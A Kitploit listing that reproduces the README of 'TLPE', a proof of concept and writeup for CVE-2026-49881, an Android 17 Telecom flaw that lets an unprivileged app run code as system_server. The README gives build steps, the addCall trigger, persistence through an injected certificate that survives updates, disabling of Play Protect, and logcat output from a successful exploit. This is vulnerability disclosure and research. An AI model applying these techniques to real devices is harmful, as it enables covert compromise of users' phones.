Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
TLPE — CVE-2026-49881, using insecure context creation in Android 17's Telecom service to execute arbitrary code as UID 1000 system_server from an unprivileged app | Kitploit
Tools/GitHubGitHub/supersonic/tlpe
Android SecurityPrivilege EscalationPersistence MechanismsVulnerability AnalysisExploitationMobile SecurityBinary Exploitation
GitHubsupersonic/tlpe

TLPE

CVE-2026-49881, using insecure context creation in Android 17's Telecom service to execute arbitrary code as UID 1000 system_server from an unprivileged app

View Repository
95124720 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

This is a PoC and a writeup for CVE-2026-49881, a logic issue in the InCallController class in Android 17's Telecom service that allows an unprivileged app to gain arbitrary code execution as UID 1000 system_server with no extra user interaction. We also show here that system_server code execution can still be easily adapted to gain persistence, even in modern Android versions.

I reported this vulnerability to the Android Security Team on 2026-04-10, it was confirmed on 2026-05-06, and it was fixed in the September 2026 Android Security Bulletin. (see here for patch)

At the time of reporting, it only actively affected Pixel builds on and after Android 16 QPR3 (along with 17 Beta builds) as far as I know, but it later made its way to Android 17's AOSP stable release.

To protect yourself from this issue, make sure to install the Google Play system update as well as the system security patch. (Telecom is a mainline component since Android 17)

TLPE

Notes on the PoC

  • The PoC demonstrates gaining code execution in system_server using the vulnerability, logs id and stack trace to logcat, and re-installs itself as a system_server component.
  • Once the PoC is installed, tapping the Start Exploit button or a call being placed through the telecom stack will trigger it.
  • Compile the PoC by running the included build.sh. Otherwise, you can manually run ./gradlew assembleSystemRelease, move the resulting app-system-release.apk to app/src/poc/assets/system.apk, and then run ./gradlew assemblePocRelease.
  • The PoC will register its own certificate as an ancestor certificate for UID 1000 after successful exploitation. This state persists through OTAs including the patch of the vulnerability itself. To clean up your device after a PoC run, you should press the "Uninstall" button in the PoC (which cleans up the injected certificate) - nonetheless, I highly recommend using your own release keystore to sign a compiled PoC APK during testing. (rather than the one the PoC uses by default at TLPE/app/teststore.jks)
  • Note that the PoC after getting into system_server also forces off Play Protect by setting package_verifier_user_consent to -1 in Settings.Global because it can sometimes intercept the re-install transaction due to unknown signatures. You should re-enable this in Settings after testing.
  • It's been validated on Pixel Android and AOSP, but the code execution stage should work across OEM-customized Android 17 versions. The re-installation as system_server stage could need some per-OEM customization because it relies on traversing PMS structure using symbols that OEMs sometimes change.

Expected PoC logcat output is:

04-15 03:02:47.911  1558 12775 E TLPE    : ===================================
04-15 03:02:47.911  1558 12775 E TLPE    : [+] Exploit successful!
04-15 03:02:47.911  1558 12775 E TLPE    : [+] Running as: [uid=1000(system) gid=1000(system) groups=1000(system),1001(radio),1002(bluetooth),1003(graphics),1004(input),1005(audio),1006(camera),1007(log),1008(compass),1009(mount),1010(wifi),1018(usb),1021(gps),1023(media_rw),1024(mtp),1032(package_info),1065(reserved_disk),3001(net_bt_admin),3002(net_bt),3003(inet),3005(net_admin),3006(net_bw_stats),3007(net_bw_acct),3009(readproc),3010(wakelock),3011(uhid),3012(readtracefs) context=u:r:system_server:s0]
04-15 03:02:47.911  1558 12775 E TLPE    : [+] Current stack trace:
04-15 03:02:47.911  1558 12775 E TLPE    : [dalvik.system.VMStack.getThreadStackTrace(Native Method), java.lang.Thread.getStackTrace(Thread.java:2842), poc.sithi.tlpe.EvilFactory.instantiateClassLoader(EvilFactory.kt:31), android.app.LoadedApk.createOrUpdateClassLoaderLocked(LoadedApk.java:1215), android.app.LoadedApk.getClassLoader(LoadedApk.java:1267), android.app.ContextImpl.getClassLoader(ContextImpl.java:542), com.android.server.telecom.InCallController.serviceClassExists(InCallController.java:2561), com.android.server.telecom.InCallController.getInCallServiceComponents(InCallController.java:2606), com.android.server.telecom.InCallController.getInCallServiceComponents(InCallController.java:2515), com.android.server.telecom.InCallController.getInCallServiceComponents(InCallController.java:2499), com.android.server.telecom.InCallController.bindToBTService(InCallController.java:2247), com.android.server.telecom.InCallController.onCallAdded(InCallController.java:1437), com.android.server.telecom.CallsManager.addCall(CallsManager.java:5457), com.android.server.telecom.CallsManager.processIncomingCallIntent(CallsManager.java:1970), com.android.server.telecom.callsequencing.voip.IncomingCallTransaction.processTransaction(IncomingCallTransaction.java:76), com.android.server.telecom.callsequencing.CallTransaction$$ExternalSyntheticLambda3.apply(R8$$SyntheticClass:0), java.util.concurrent.CompletableFuture$UniCompose.tryFire(CompletableFuture.java:1126), java.util.concurrent.CompletableFuture$Completion.run(CompletableFuture.java:458), com.android.server.telecom.LoggedHandlerExecutor$1.loggedRun(LoggedHandlerExecutor.java:41), android.telecom.Logging.Runnable$1.run(Runnable.java:37), android.os.Handler.handleCallback(Handler.java:1095), android.os.Handler.dispatchMessageImpl(Handler.java:135), android.os.Handler.dispatchMessage(Handler.java:125), android.os.Looper.loopOnce(Looper.java:269), android.os.Looper.loop(Looper.java:367), android.os.HandlerThread.run(HandlerThread.java:139)]
04-15 03:02:47.911  1558 12775 E TLPE    : ===================================
04-15 03:02:47.934  1558 12785 E TLPE    : [+] Retrieved system APK, attempting persistence...
04-15 03:02:47.935  1558 12785 E TLPE    : [+] Injection successful, forcing packages.xml flush
04-15 03:02:47.957  1558 12785 E TLPE    : [+] Persistence successful, reinstalling...

Writeup

This is an unusually direct vulnerability. Whenever certain Telecom-related actions happen InCallController attempts to discover available services through getInCallServiceComponents. This naturally triggers when a call is registered with the system, but an app can actually trigger it on-demand as well thanks to the transactional calls API TelecomManager.addCall. (note: this is what the "Start Exploit button in the PoC uses) This API needs MANAGE_OWN_CALLS, but it's a normal and user-invisible permission granted automatically upon installation.

This enumeration is implemented on the vulnerable versions like:

private List<InCallServiceInfo> getInCallServiceComponents(UserHandle userHandle,
        String packageName, ComponentName componentName,
        int requestedType, boolean ignoreDisabled) {
        ...
        List<ResolveInfo> entries;
        entries = userPackageManager.queryIntentServices(
                serviceIntent,
                PackageManager.GET_META_DATA | PackageManager.MATCH_DISABLED_COMPONENTS);
        for (ResolveInfo entry : entries) {
            ServiceInfo serviceInfo = entry.serviceInfo;

            if (serviceInfo != null) {
                boolean isMetaFlag = serviceInfo.metaData != null &&
                        serviceInfo.metaData.getBoolean(
                                "android.telecom.CLASS_EXISTENCE_CHECK", false);
                if (isMetaFlag && !serviceClassExists(serviceInfo, userHandle)) {
                    continue;
                }
                ...
            }
        }
}
Download Tool